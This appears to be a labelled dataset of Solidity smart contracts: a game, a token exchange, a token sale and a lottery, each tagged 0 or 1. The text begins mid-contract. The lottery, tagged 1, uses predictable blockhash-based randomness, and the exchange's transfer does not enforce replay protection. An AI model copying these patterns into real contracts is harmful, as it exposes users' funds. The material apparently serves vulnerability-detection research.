tokenToPointsMap[sigId] || (tokenToPointsMap[id] == tokenToPointsMap[sigId] && id < sigId)); } if(sortedWinners.length != 0){ uint256 id2 = sortedWinners[sortedWinners.length-1]; uint256 sigId2 = sortedChunk[0]; require(tokenToPointsMap[id2] > tokenToPointsMap[sigId2] || (tokenToPointsMap[id2] == tokenToPointsMap[sigId2] && id2 < sigId2)); } for(uint256 j = 0; j < sortedChunk.length; j++){ sortedWinners.push(sortedChunk[j]); } if(sortedWinners.length == winnerCounter){ require(sortedWinners[sortedWinners.length-1] == pointsLimit); pValidationState = pointsValidationState.OrderChecked; } } function resetWinners(uint256 newLength) external onlyAdmin checkState(pointsValidationState.LimitCalculated){ sortedWinners.length = newLength; } function setTopWinnerPrizes() external onlyAdmin checkState(pointsValidationState.OrderChecked){ uint256 percent = 0; uint[] memory tokensEquals = new uint[](30); uint16 tokenEqualsCounter = 0; uint256 currentTokenId; uint256 currentTokenPoints; uint256 lastTokenPoints; uint32 counter = 0; uint256 maxRange = 13; if(tokens.length < 201){ maxRange = 10; } while(payoutRange < maxRange){ uint256 inRangecounter = payDistributionAmount[payoutRange]; while(inRangecounter > 0){ currentTokenId = sortedWinners[counter]; currentTokenPoints = tokenToPointsMap[currentTokenId]; inRangecounter--; if(inRangecounter == 0 && payoutRange == maxRange - 1){ if(currentTokenPoints == lastTokenPoints){ percent += payoutDistribution[payoutRange]; tokensEquals[tokenEqualsCounter] = currentTokenId; tokenEqualsCounter++; } else { tokenToPayoutMap[currentTokenId] = payoutDistribution[payoutRange]; } } if(counter != 0 && (currentTokenPoints != lastTokenPoints || (inRangecounter == 0 && payoutRange == maxRange - 1))){ for(uint256 i = 0; i < tokenEqualsCounter; i++){ tokenToPayoutMap[tokensEquals[i]] = percent.div(tokenEqualsCounter); } percent = 0; tokensEquals = new uint[](30); tokenEqualsCounter = 0; } percent += payoutDistribution[payoutRange]; tokensEquals[tokenEqualsCounter] = currentTokenId; tokenEqualsCounter++; counter++; lastTokenPoints = currentTokenPoints; } payoutRange++; } pValidationState = pointsValidationState.TopWinnersAssigned; lastPrizeGiven = counter; } function setWinnerPrizes(uint32 amount) external onlyAdmin checkState(pointsValidationState.TopWinnersAssigned){ require(lastPrizeGiven + amount <= winnerCounter); uint16 inRangeCounter = payDistributionAmount[payoutRange]; for(uint256 i = 0; i < amount; i++){ if (inRangeCounter == 0){ payoutRange++; inRangeCounter = payDistributionAmount[payoutRange]; } uint256 tokenId = sortedWinners[i + lastPrizeGiven]; tokenToPayoutMap[tokenId] = payoutDistribution[payoutRange]; inRangeCounter--; } lastPrizeGiven += amount; payDistributionAmount[payoutRange] = inRangeCounter; if(lastPrizeGiven == winnerCounter){ pValidationState = pointsValidationState.WinnersAssigned; return; } } function setEnd() external onlyAdmin checkState(pointsValidationState.WinnersAssigned){ uint256 balance = address(this).balance; adminPool = balance.mul(10).div(100); prizePool = balance.mul(90).div(100); pValidationState = pointsValidationState.Finished; gameFinishedTime = now; unSetPause(); } } contract CryptocupNFL is GameRegistry { constructor() public { adminAddress = msg.sender; deploymentTime = now; _prepareMatchResultsArray(); _prepareBonusResultsArray(); } function() external payable { require(msg.sender == adminAddress || msg.sender == marketplaceAddress); } function buildToken(uint160 matches, uint32 bonusMatches, uint96 extraStats, string message) external payable isNotPaused returns(uint256){ require(msg.value >= _getTokenPrice(), "Eth sent is not enough."); require(msg.sender != address(0), "Sender cannot be 0 address."); require(ownedTokens[msg.sender].length < 100, "Sender cannot have more than 100 tokens."); require(now < EVENT_START, "Event already started."); require (bytes(message).length <= 100); uint256 tokenId = _createToken(matches, bonusMatches, extraStats, message); _mint(msg.sender, tokenId); emit LogTokenBuilt(msg.sender, tokenId, message, matches, extraStats, bonusMatches); return tokenId; } function giftToken(address giftedAddress, uint160 matches, uint32 bonusMatches, uint96 extraStats, string message) external payable isNotPaused returns(uint256){ require(msg.value >= _getTokenPrice(), "Eth sent is not enough."); require(msg.sender != address(0), "Sender cannot be 0 address."); require(ownedTokens[giftedAddress].length < 100, "Sender cannot have more than 100 tokens."); require(now < EVENT_START, "Event already started."); require (bytes(message).length <= 100); uint256 tokenId = _createToken(matches, bonusMatches, extraStats, message); _mint(giftedAddress, tokenId); emit LogTokenGift(msg.sender, giftedAddress, tokenId, message, matches, extraStats, bonusMatches); return tokenId; } function buildPrepaidToken(bytes32 secret) external payable onlyAdmin isNotPaused { require(msg.value >= _getTokenPrice(), "Eth sent is not enough."); require(msg.sender != address(0), "Sender cannot be 0 address."); require(now < EVENT_START, "Event already started."); secretsMap[secret] = 1; emit LogPrepaidTokenBuilt(msg.sender, secret); } function redeemPrepaidToken(bytes32 preSecret, uint160 matches, uint32 bonusMatches, uint96 extraStats, string message) external isNotPaused returns(uint256){ require(msg.sender != address(0), "Sender cannot be 0 address."); require(ownedTokens[msg.sender].length < 100, "Sender cannot have more than 100 tokens."); require(now < EVENT_START, "Event already started."); require (bytes(message).length <= 100); bytes32 secret = keccak256(preSecret); require (secretsMap[secret] == 1, "Invalid secret."); secretsMap[secret] = 0; uint256 tokenId = _createToken(matches, bonusMatches, extraStats, message); _mint(msg.sender, tokenId); emit LogPrepaidRedeemed(msg.sender, tokenId, message, matches, extraStats, bonusMatches); return tokenId; } function getToken(uint256 tokenId) external view returns (uint160 matches, uint32 bonusMatches, uint96 extraStats, uint64 timeStamp, string message) { Token storage token = tokens[tokenId]; matches = token.matches; bonusMatches = token.bonusMatches; extraStats = token.extraStats; timeStamp = token.timeStamp; message = token.message; } function withdrawPrize() external checkState(pointsValidationState.Finished){ uint256 prize = 0; uint256[] memory tokenList = ownedTokens[msg.sender]; for(uint256 i = 0;i < tokenList.length; i++){ prize += tokenToPayoutMap[tokenList[i]]; tokenToPayoutMap[tokenList[i]] = 0; } require(prize > 0); msg.sender.transfer((prizePool.mul(prize)).div(1000000)); } function emergencyWithdraw() external hasFinalized{ uint256 balance = STARTING_PRICE * ownedTokens[msg.sender].length; delete ownedTokens[msg.sender]; msg.sender.transfer(balance); } }
0
pragma solidity ^0.4.25; contract Token { function transfer(address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); } contract NescrowExchangeService { address owner = msg.sender; uint256 public feeRateLimit = 200; uint256 public takerFeeRate = 0; uint256 public makerFeeRate = 0; address public feeAddress; mapping (address => bool) public admins; mapping (bytes32 => uint256) public orderFills; mapping (bytes32 => uint256) public orderPaymentFills; mapping (bytes32 => bool) public withdrawn; mapping (bytes32 => bool) public transfers; mapping (address => mapping (address => uint256)) public balances; mapping (address => uint256) public tradesLocked; mapping (address => uint256) public disableFees; mapping (address => uint256) public tokenDecimals; mapping (address => bool) public tokenRegistered; struct EIP712Domain { string name; string version; uint256 chainId; address verifyingContract; } event OrderPayment(address indexed user, address spendToken, uint256 spendAmount, address indexed merchant, address merchantReceiveToken, uint256 merchantReceiveAmount); event TradesLock(address user); event TradesUnlock(address user); modifier onlyOwner { assert(msg.sender == owner); _; } modifier onlyAdmin { require(msg.sender == owner || admins[msg.sender]); _; } bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); bytes32 constant ORDER_TYPEHASH = keccak256("Order(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce)"); bytes32 constant ORDER_WITH_TIPS_TYPEHASH = keccak256("OrderWithTips(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce,uint256 makerTips,uint256 takerTips)"); bytes32 constant ORDER_PAYMENT_TYPEHASH = keccak256("OrderPayment(address spendToken,uint256 spendAmount,address merchantReceiveToken,uint256 merchantReceiveAmount,address merchant,uint256 expires,uint256 nonce)"); bytes32 constant WITHDRAWAL_TYPEHASH = keccak256("Withdrawal(address withdrawToken,uint256 amount,uint256 nonce)"); bytes32 constant TIPS_TYPEHASH = keccak256("Tips(address tipsToken,uint256 amount,uint256 nonce)"); bytes32 constant TRANSFER_TYPEHASH = keccak256("Transfer(address transferToken,address to,uint256 amount,uint256 nonce)"); bytes32 DOMAIN_SEPARATOR; function domainHash(EIP712Domain eip712Domain) internal pure returns (bytes32) { return keccak256(abi.encode( EIP712DOMAIN_TYPEHASH, keccak256(bytes(eip712Domain.name)), keccak256(bytes(eip712Domain.version)), eip712Domain.chainId, eip712Domain.verifyingContract )); } constructor() public { DOMAIN_SEPARATOR = domainHash(EIP712Domain({ name: "Nescrow Exchange", version: '2', chainId: 1, verifyingContract: this })); tokenRegistered[0x0] = true; tokenDecimals[0x0] = 18; } function setOwner(address newOwner) external onlyOwner { owner = newOwner; } function getOwner() public view returns (address out) { return owner; } function setAdmin(address admin, bool isAdmin) external onlyOwner { admins[admin] = isAdmin; } function deposit() external payable { uint amount = safeDiv(msg.value, 10**10); require(amount > 0); increaseBalance(msg.sender, address(0), amount); } function depositToken(address token, uint256 amount) external { require(amount > 0); require(token != 0x0); require(safeTransferFrom(token, msg.sender, this, toTokenAmount(token, amount))); increaseBalance(msg.sender, token, amount); } function depositTokenByAdmin(address user, address token, uint256 amount) external onlyAdmin { require(amount > 0); require(token != 0x0); require(safeTransferFrom(token, user, this, toTokenAmount(token, amount))); increaseBalance(user, token, amount); } function sendTips() external payable { uint amount = safeDiv(msg.value, 10**10); require(amount > 0); increaseBalance(feeAddress, address(0), amount); } function transferTips(address token, uint256 amount, address fromUser, uint nonce, uint8 v, bytes32 r, bytes32 s) external onlyAdmin { require(amount > 0); bytes32 hash = keccak256(abi.encode(TIPS_TYPEHASH, token, amount, nonce)); require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser); require(!transfers[hash]); transfers[hash] = true; require(reduceBalance(fromUser, token, amount)); increaseBalance(feeAddress, token, amount); } function transfer(address token, uint256 amount, address fromUser, address toUser, uint nonce, uint8 v, bytes32 r, bytes32 s) external onlyAdmin { require(amount > 0); bytes32 hash = keccak256(abi.encode(TRANSFER_TYPEHASH, token, toUser, amount, nonce)); require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser); transfers[hash] = true; require(reduceBalance(fromUser, token, amount)); increaseBalance(toUser, token, amount); } function withdrawByAdmin(address token, uint256 amount, address user, uint nonce, uint8 v, bytes32 r, bytes32 s) external onlyAdmin { require(amount > 0); bytes32 hash = keccak256(abi.encode(WITHDRAWAL_TYPEHASH, token, amount, nonce)); require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == user); require(!withdrawn[hash]); withdrawn[hash] = true; require(reduceBalance(user, token, amount)); require(sendToUser(user, token, amount)); } function withdraw(address token, uint256 amount) external { require(amount > 0); require(tradesLocked[msg.sender] > block.number); require(reduceBalance(msg.sender, token, amount)); require(sendToUser(msg.sender, token, amount)); } function reduceBalance(address user, address token, uint256 amount) private returns(bool) { if (balances[token][user] < amount) return false; balances[token][user] = safeSub(balances[token][user], amount); return true; } function increaseBalanceOrWithdraw(address user, address token, uint256 amount, uint256 _withdraw) private returns(bool) { if (_withdraw == 1) { return sendToUser(user, token, amount); } else { return increaseBalance(user, token, amount); } } function increaseBalance(address user, address token, uint256 amount) private returns(bool) { balances[token][user] = safeAdd(balances[token][user], amount); return true; } function sendToUser(address user, address token, uint256 amount) private returns(bool) { if (token == address(0)) { return user.send(toTokenAmount(address(0), amount)); } else { return safeTransfer(token, user, toTokenAmount(token, amount)); } } function toTokenAmount(address token, uint256 amount) private view returns (uint256) { require(tokenRegistered[token]); uint256 decimals = token == address(0) ? 18 : tokenDecimals[token]; if (decimals == 8) { return amount; } if (decimals > 8) { return safeMul(amount, 10**(decimals - 8)); } else { return safeDiv(amount, 10**(8 - decimals)); } } function setTakerFeeRate(uint256 feeRate) external onlyAdmin { require(feeRate == 0 || feeRate >= feeRateLimit); takerFeeRate = feeRate; } function setMakerFeeRate(uint256 feeRate) external onlyAdmin { require(feeRate == 0 || feeRate >= feeRateLimit); makerFeeRate = feeRate; } function setFeeAddress(address _feeAddress) external onlyAdmin { require(_feeAddress != address(0)); feeAddress = _feeAddress; } function disableFeesForUser(address user, uint256 timestamp) external onlyAdmin { require(timestamp > block.timestamp); disableFees[user] = timestamp; } function registerToken(address token, uint256 decimals) external onlyAdmin { require(!tokenRegistered[token]); tokenRegistered[token] = true; tokenDecimals[token] = decimals; } function tradesLock(address user) external { require(user == msg.sender); tradesLocked[user] = block.number + 20000; emit TradesLock(user); } function tradesUnlock(address user) external { require(user == msg.sender); tradesLocked[user] = 0; emit TradesUnlock(user); } function isUserMakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) { return disableFee == 0 && makerFeeRate > 0 && disableFees[user] < block.timestamp; } function isUserTakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) { return disableFee == 0 && takerFeeRate > 0 && disableFees[user] < block.timestamp; } function calculateRate(uint256 offerAmount, uint256 wantAmount) private pure returns(uint256) { return safeDiv(safeMul(10**8, wantAmount), offerAmount); } function trade( uint256[10] amounts, address[4] addresses, uint256[6] values, bytes32[4] rs ) external onlyAdmin { require(tradesLocked[addresses[0]] < block.number); require(block.timestamp <= amounts[2]); bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3])); require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]); orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]); require(orderFills[orderHash] <= amounts[0]); require(tradesLocked[addresses[1]] < block.number); require(block.timestamp <= amounts[6]); bytes32 orderHash2 = keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7])); require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]); uint256 makerRate = calculateRate(amounts[0], amounts[1]); uint256 takerRate = calculateRate(amounts[5], amounts[4]); require(makerRate <= takerRate); require(makerRate == calculateRate(amounts[8], amounts[9])); orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]); require(orderFills[orderHash2] <= amounts[4]); require(reduceBalance(addresses[0], addresses[2], amounts[8])); require(reduceBalance(addresses[1], addresses[3], amounts[9])); if (isUserMakerFeeEnabled(addresses[0], values[4])) { require(increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2])); increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate)); } else { require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2])); } if (isUserTakerFeeEnabled(addresses[1], values[5])) { require(increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3])); increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate)); } else { require(increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3])); } } function exchangeAndPay( uint256[10] amounts, address[5] addresses, uint256[4] values, bytes32[4] rs ) external onlyAdmin { require(tradesLocked[addresses[0]] < block.number); require(block.timestamp <= amounts[2]); bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[3], amounts[2], amounts[3])); require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]); orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]); require(orderFills[orderHash] <= amounts[0]); require(tradesLocked[addresses[1]] < block.number); require(block.timestamp <= amounts[6]); bytes32 orderHash2 = keccak256(abi.encode(ORDER_PAYMENT_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], addresses[4], amounts[6], amounts[7])); require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]); uint256 makerRate = calculateRate(amounts[0], amounts[1]); uint256 takerRate = calculateRate(amounts[5], amounts[4]); require(makerRate <= takerRate); require(makerRate == calculateRate(amounts[8], amounts[9])); orderPaymentFills[orderHash2] = safeAdd(orderPaymentFills[orderHash2], amounts[9]); require(orderPaymentFills[orderHash2] <= amounts[4]); require(reduceBalance(addresses[0], addresses[2], amounts[8])); require(reduceBalance(addresses[1], addresses[3], amounts[9])); require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2])); require(increaseBalanceOrWithdraw(addresses[4], addresses[2], amounts[8], values[3])); emit OrderPayment(addresses[1], addresses[1], amounts[9], addresses[4], addresses[2], amounts[2]); } function tradeWithTips( uint256[10] amounts, address[4] addresses, uint256[10] values, bytes32[4] rs ) external onlyAdmin { require(tradesLocked[addresses[0]] < block.number); require(block.timestamp <= amounts[2]); bytes32 orderHash = values[4] > 0 || values[5] > 0 ? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3], values[4], values[5])) : keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3])); require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]); orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]); require(orderFills[orderHash] <= amounts[0]); require(tradesLocked[addresses[1]] < block.number); require(block.timestamp <= amounts[6]); bytes32 orderHash2 = values[6] > 0 || values[7] > 0 ? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7], values[6], values[7])) : keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7])); require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]); uint256 makerRate = calculateRate(amounts[0], amounts[1]); uint256 takerRate = calculateRate(amounts[5], amounts[4]); require(makerRate <= takerRate); require(makerRate == calculateRate(amounts[8], amounts[9])); orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]); require(orderFills[orderHash2] <= amounts[4]); require(reduceBalance(addresses[0], addresses[2], amounts[8])); require(reduceBalance(addresses[1], addresses[3], amounts[9])); if (values[4] > 0 && !isUserMakerFeeEnabled(addresses[0], values[8])) { increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], values[4])), values[2]); increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], values[4])); } else if (values[4] == 0 && isUserMakerFeeEnabled(addresses[0], values[8])) { increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]); increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate)); } else if (values[4] > 0 && isUserMakerFeeEnabled(addresses[0], values[8])) { increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate))), values[2]); increaseBalance(feeAddress, addresses[3], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate))); } else { increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]); } if (values[7] > 0 && !isUserTakerFeeEnabled(addresses[1], values[9])) { increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], values[7])), values[3]); increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], values[7])); } else if (values[7] == 0 && isUserTakerFeeEnabled(addresses[1], values[9])) { increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]); increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate)); } else if (values[7] > 0 && isUserTakerFeeEnabled(addresses[1], values[9])) { increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate))), values[3]); increaseBalance(feeAddress, addresses[2], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate))); } else { increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]); } } function() public payable { revert(); } function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function safeDiv(uint a, uint b) internal pure returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeTransfer( address token, address to, uint256 value) private returns (bool success) { success = token.call(0xa9059cbb, to, value); return checkReturnValue(success); } function safeTransferFrom( address token, address from, address to, uint256 value) private returns (bool success) { success = token.call(0x23b872dd, from, to, value); return checkReturnValue(success); } function checkReturnValue( bool success ) private pure returns (bool) { if (success) { assembly { switch returndatasize() case 0 { success := 1 } case 32 { returndatacopy(0, 0, 32) success := mload(0) } default { success := 0 } } } return success; } }
0
pragma solidity ^0.4.20; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } } contract FiatContract { function USD(uint _id) constant public returns (uint256); } contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = 0x338bDCaF7D9b2603f646E6B919F14BBe9e9c046e; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0x0)); emit OwnershipTransferred(owner,_newOwner); owner = _newOwner; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract FlixToken is ERC20Interface, Owned { using SafeMath for uint; FiatContract price = FiatContract(0x8055d0504666e2B6942BeB8D6014c964658Ca591); string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Burn(address indexed burner, uint256 value); constructor() public { symbol = "FLX"; name = "FLIX"; decimals = 18; _totalSupply = 100000000; _totalSupply = _totalSupply.mul(10 ** uint(decimals)); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply; } function() public payable{ uint256 OneCentETH = price.USD(0); uint256 tokenPrice = OneCentETH.mul(50); uint256 tokenBought = msg.value.mul(10 ** 18).div(tokenPrice); require(tokenBought <= balances[owner]); balances[msg.sender] = balances[msg.sender].add(tokenBought); balances[owner] = balances[owner].sub(tokenBought); emit Transfer(owner, msg.sender, tokenBought); owner.transfer(msg.value); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != address(0)); require(tokens > 0); require(balances[msg.sender] >= tokens); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { require(spender != address(0)); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(from != address(0)); require(to != address(0)); require(tokens > 0); require(balances[from] >= tokens); require(allowed[from][msg.sender] >= tokens); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_spender != address(0)); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function burn(uint256 _value) onlyOwner public { require(_value > 0); require(_value <= balances[owner]); balances[owner] = balances[owner].sub(_value); _totalSupply = _totalSupply.sub(_value); emit Burn(owner, _value); emit Transfer(owner, address(0), _value); } }
0
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Upcoin { uint8 public decimals = 18; function isUpcoin() public pure returns (bool); function transferOrigin(address _to, uint256 _value) public returns (bool); } contract Lottery is Ownable { using SafeMath for uint256; event LotteryFinished(); event Roll(address indexed participant, uint256 prize); struct Prize { uint256 chance; uint256 left; uint256 min; uint256 max; } bool public lotteryFinished = false; uint256 private randomCount = 0; Prize[] private prizes; Upcoin private upcoin; modifier canRoll() { require(!lotteryFinished, "Lottery already finished"); _; } modifier hasPrizes() { uint256 left = prizes[0].left; for (uint256 i = 1; i < prizes.length; i = i.add(1)) { if (prizes[i].left > left) { left = prizes[i].left; } } require(left > 0, "No more prizes left"); _; } modifier isUpcoin() { require(address(upcoin) != address(0), "Token address must be not null"); require(upcoin.isUpcoin(), "Token must be Upcoin instance"); _; } constructor(address _address) public { upcoin = Upcoin(_address); prizes.push(Prize(2, 1, 500000, 500000)); prizes.push(Prize(4, 3, 12001, 75000)); prizes.push(Prize(6, 6, 5001, 12000)); prizes.push(Prize(10, 40, 3001, 5000)); prizes.push(Prize(15, 50, 1001, 3000)); prizes.push(Prize(18, 400, 501, 1000)); prizes.push(Prize(20, 500, 251, 500)); prizes.push(Prize(25, 29000, 100, 250)); } function finishLottery() public canRoll onlyOwner returns (bool) { lotteryFinished = true; emit LotteryFinished(); return true; } function getRandomPrize() private returns (Prize) { uint256 chance = randomMinMax(0, 100); uint256 index = 0; uint256 percent = 0; while (prizes[index].left == 0) { percent = percent.add(prizes[index].chance); index = index.add(1); } Prize memory prize = prizes[index]; uint256 start = index.add(1); if (start < prizes.length && chance > percent + prize.chance) { percent = percent.add(prize.chance); for (uint256 i = start; i < prizes.length; i = i.add(1)) { prize.chance = prizes[i].chance; if (prizes[i].left > 0 && chance <= percent + prize.chance) { prize = prizes[i]; index = i; break; } else { percent = percent.add(prize.chance); } } } prize.left = prize.left.sub(1); prizes[index] = prize; return prize; } function getRandomAmount(uint256 _min, uint256 _max) private returns (uint256) { return randomMinMax(_min, _max) * 10 ** uint256(upcoin.decimals()); } function random() private returns (uint256) { uint256 randomness = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), randomCount))); randomCount = randomCount.add(1); return randomness; } function randomMinMax(uint256 _min, uint256 _max) private returns (uint256) { if (_min == _max) { return _max; } if (_min > _max) { (_min, _max) = (_max, _min); } uint256 value = random() % _max; if (value < _min) { value = _min + random() % (_max - _min); } return value; } function roll(address _address) public onlyOwner canRoll hasPrizes isUpcoin returns (bool) { require(_address != address(0), "Participant address must be not null"); Prize memory prize = getRandomPrize(); uint256 amount = getRandomAmount(prize.min, prize.max); upcoin.transferOrigin(_address, amount); emit Roll(_address, amount); return true; } }
1
